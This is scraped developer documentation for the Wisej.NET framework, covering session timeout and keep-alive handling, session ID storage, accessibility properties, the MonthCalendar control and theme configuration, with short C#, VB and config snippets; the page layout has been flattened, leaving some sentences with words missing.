Beyond sessionTimeout, Wisej.NET employs a keep-alive ping system that triggers after periods of user inactivity. This helps detect when users are "gone" due to:

  • Closed browser

  • Powered-off device

  • Lost connectivity

With no user activity but an open browser, the client sends keep-alive messages. Without these messages, Wisej.NET terminates the session after sessionTimeout * 2.

Countdown Window

After sessionTimeout seconds without user interaction, Wisej.NET:

  1. Shows built-in SessionTimeoutForm if unhandled

You can:

  • Show a custom window

  • Extend SessionTimeoutForm

  • Show nothing by setting e.Handled = true

Infinite Sessions

Wisej.NET supports two types of infinite sessions:

  1. Standard Infinite

    • Suppress the timeout window

    • Session stays alive while browser is open and connected

    • See above for suppressing timeout window

Best practice: Set sessionTimeout to 1-3 minutes (60-180 seconds) and handle Application.SessionTimeout to control expiration notices or suppress them entirely.

  1. Browser-Bound Sessions

    • Bind session to browser by saving Session ID to local storage

    • Optionally set sessionTimeout to 0 (never expires until server shutdown)

    • Users can return later to continue where they left off

    • Requires controlled session count

Session ID Storage

Traditional HTML systems (PHP, ASP.NET, JSP) store session IDs in cookies that:

  • Persist after browser closure

  • Share across browser tabs

  • Limit to one session per browser

Wisej.NET offers two storage options:

Session Storage (Default)

  • Cleared when browser closes

  • Not sent in request headers

  • Unique per browser tab

Closing the browser removes the session.

Local Storage

  • Survives browser closure/device shutdown

  • Session reloads automatically if not expired

  • Continues work from previous state

Session Termination

Various scenarios affect session termination:

Application Exit

  • Free the session immediately

Browser Events

These scenarios stop keep-alive pings, triggering session termination after sessionTimeout * 2:

  • Closing browser tab

  • Closing entire browser

  • Navigating away

  • Device shutdown

Browsers provide no way to distinguish between navigation, closure, shutdown, or device destruction. All appear the same to the server.

pings

Session

Wisej.NET removes a session from memory after a period without user activity signs. The setting determines when Wisej.NET fires the event.

This event provides an opportunity to react before losing the session and user's work. By default, without handling , Wisej.NET displays a built-in .

After another timeout period without user response, Wisej.NET removes the session and fires .

Fires

Wisej.NET defaults to browser :

Optionally Wisej.NET to use browser :

If your application provides exit options, call to:

Fire

Application.SessionTimeout += Application_SessionTimeout;

private static void Application_SessionTimeout(object sender, System.ComponentModel.HandledEventArgs e)
{
    // do something
    
    // suppress the built-in timeout window.
    e.Handled = true;
}
AddHandler Application.SessionTimeout, AddressOf Application_SessionTimeout

Public Sub Application_SessionTimeout(sender As Object, e As HandledEventArgs)

    ' Do something.
    
    ' Suppress the built-in timeout window.
    e.Handled = True

End Sub
Application.ApplicationExit
Application.SessionTimeout
Session Storage
Application.Exit()
Application.ApplicationExit
Keep-alive
timeout
Application.SessionTimeout
countdown window
Application.SessionTimeout
sessionTimeout
Local Storage
configure

Accessibility

Adds standard accessibility attributes to the browser element to help with accessible support software.

When web applications are properly designed and coded, people with disabilities can use them. However, currently many sites and tools are developed with accessibility barriers that make them difficult or impossible for some people to use.

Making the web accessible benefits individuals, businesses, and society. International web standards define what is needed for accessibility.

Accessible Properties

All Wisej.NET controls expose three accessible properties:

  • AccessibleName. It is rendered in the browser as the "name" property.

  • AccessibleDescription. Rendered in the browser as the "alt" property.

  • AccessibleRole. Rendered in the browser as the "role" property.

How these properties are used by accessibility tools it is entirely up to the tool.

WebARIA Extension

The WebARIA extension is an extender component that you can drop on any designer surface. It will automatically add a number of new properties to all the controls in the designer.

Some of these properties are cross references to other controls on the same page. These properties allow you to pick a control in the property grid and generate the WAI-ARIA attribute in the browser.

For example, setting the DescribedBy property of a button to a Label, will generate the "aria-describedby" attribute with the id of the label.

Default timeout window.

Wisej.NET has basic accessibility support built-in and provides a extension to support most of the properties.

The WebARIA extension is provided with to enable developers to extend it and adapt it to their requirements.

See the extension for more information.

source code
WebARIA
WAI-ARIA
WebARIA

Validation

User input validation concept and patterns.

Intro...

AutoValidate Mode

Validation Rules

IErrorProvider

MonthCalendar

Represents a control that enables the user to select a date using a visual monthly calendar display.

The Wisej.NET MonthCalendar control enables date selection through a visual display. Set the MinDate and MaxDate properties to limit selectable dates and times.

Features

Bolded Dates

The MonthCalendar control supports bolded dates to define one-time, monthly, and yearly events.

Calendar Dimensions

The MonthCalendar control displays multiple calendars in a grid-like structure.

Custom Today Date Format

The TodayDate and TodayFormat properties enable customized date and format settings.

Advanced

JavaScript Widget

Item
Description

Class name

"wisej.web.MonthCalendar" for the base component, "wisej.web.monthCalendar.DateChooser" for the drop down component, and wisej.web.monthCalendar.Today for the label that shows today's date.

Theme appearance

Child components

"datechooser" is the dropdown. "today" is the today label. "tools" is the tools container.

Toolcontainer state

Source code

For a full list of properties, methods and events see the

MonthCalendar with bolded dates
MonthCalendar with multiple months
MonthCalendar with TodayFormat: "The current date and time is" dddd, MMMM dd, "of" yyyy

"calendar", see .

"calendar", see .

API documentation.
Themes
Embedded Tools
https://github.com/iceteagroup/wisej-js

Theming

Learn how to apply different themes to your Wisej.NET application.

See below for more information on theming and customizations.

Changing Themes

Runtime

To change the theme at runtime, use the following line in your code:

Application.LoadTheme("Bootstrap-4");

Startup

To change the theme before the application runs, you can apply it in one of two ways:

Web.config
<configuration>
  <appSettings>
    <add key="Wisej.DefaultTheme" value="Bootstrap-4"/>
  </appSettings>

or

Default.json
{
    "theme": "Bootstrap-4"
}

Changing the theme in the Wisej.NET Designer in Visual Studio will only show the changes at design-time. Use one of the above methods to apply it at runtime.

Built-In Themes

New Wisej.NET applications come with several built-in base themes that can be used to style the application.

Blue-1

This theme uses a blue base color, thick window borders and FontAwesome SVG icons.

Blue-2

Blue-3

Bootstrap-4

This theme is based on the popular Bootstrap theme, using its distinctive colors, focus shadow, and Bootstrap SVG icons.

BootstrapDark-4

This theme is based on the popular Bootstrap theme, using its distinctive colors, focus shadow, and Bootstrap SVG icons. This theme has a dark background and light text.

Classic-2

Clear-1

Clear-2

Clear-3

Graphite-3

This theme uses overlapped scrollbars to implement cool disappearing and overlapped scrollbars similar to the Windows UWP style.

Material-3

Vista-2

This theme is based on Windows Vista metrics, font, icons and design.

Wisej.NET themes are collections of styles, fonts, and images that define the look and feel of components and other UI features. You can use one of the or .

By default, new Wisej.NET applications use the theme. The theme can be changed in several ways.

Wisej.NET Blue-1 Theme

This theme uses a blue base color, thick window caption, no side window borders borders and SVG icons.

Wisej.NET Blue-2 Theme

This theme uses a blue base color, thick window borders and SVG icons. Use it as a base to create new variations.

Wisej.NET Blue-3 Theme
Wisej.NET Bootstrap-4 Theme
Wisej.NET BootstrapDark-4 Theme

This theme is based on Windows 10 metrics, font, and design. This theme uses the SVG icons for Windows 10.

Wisej.NET Classic-2 Theme

This theme uses a clear base color, no side window borders, a thick window caption and SVG icons.

Wisej.NET Clear-1 Theme

This theme uses a clear base color, no side window borders, a thick window caption and SVG icons.

Wisej.NET Clear-2 Theme

This theme uses a clear base color, no side window borders, a thick window caption and SVG icons.

Wisej.NET Clear-3 Theme
Wisej.NET Graphite-3 Theme

This theme is inspired by Google Material Design, with sleek animations, a large window caption, and a minimalist layout. It uses SVG icons.

Wisej.NET Material-3 Theme
Wisej.NET Vista-2 Theme
built-in themes
create your own
Icons8
Google Material
Icons8
FontAwesome
Icons8
Google Material
Google Material
Bootstrap-4
LogoIntroductionWisej.NET Theme Builder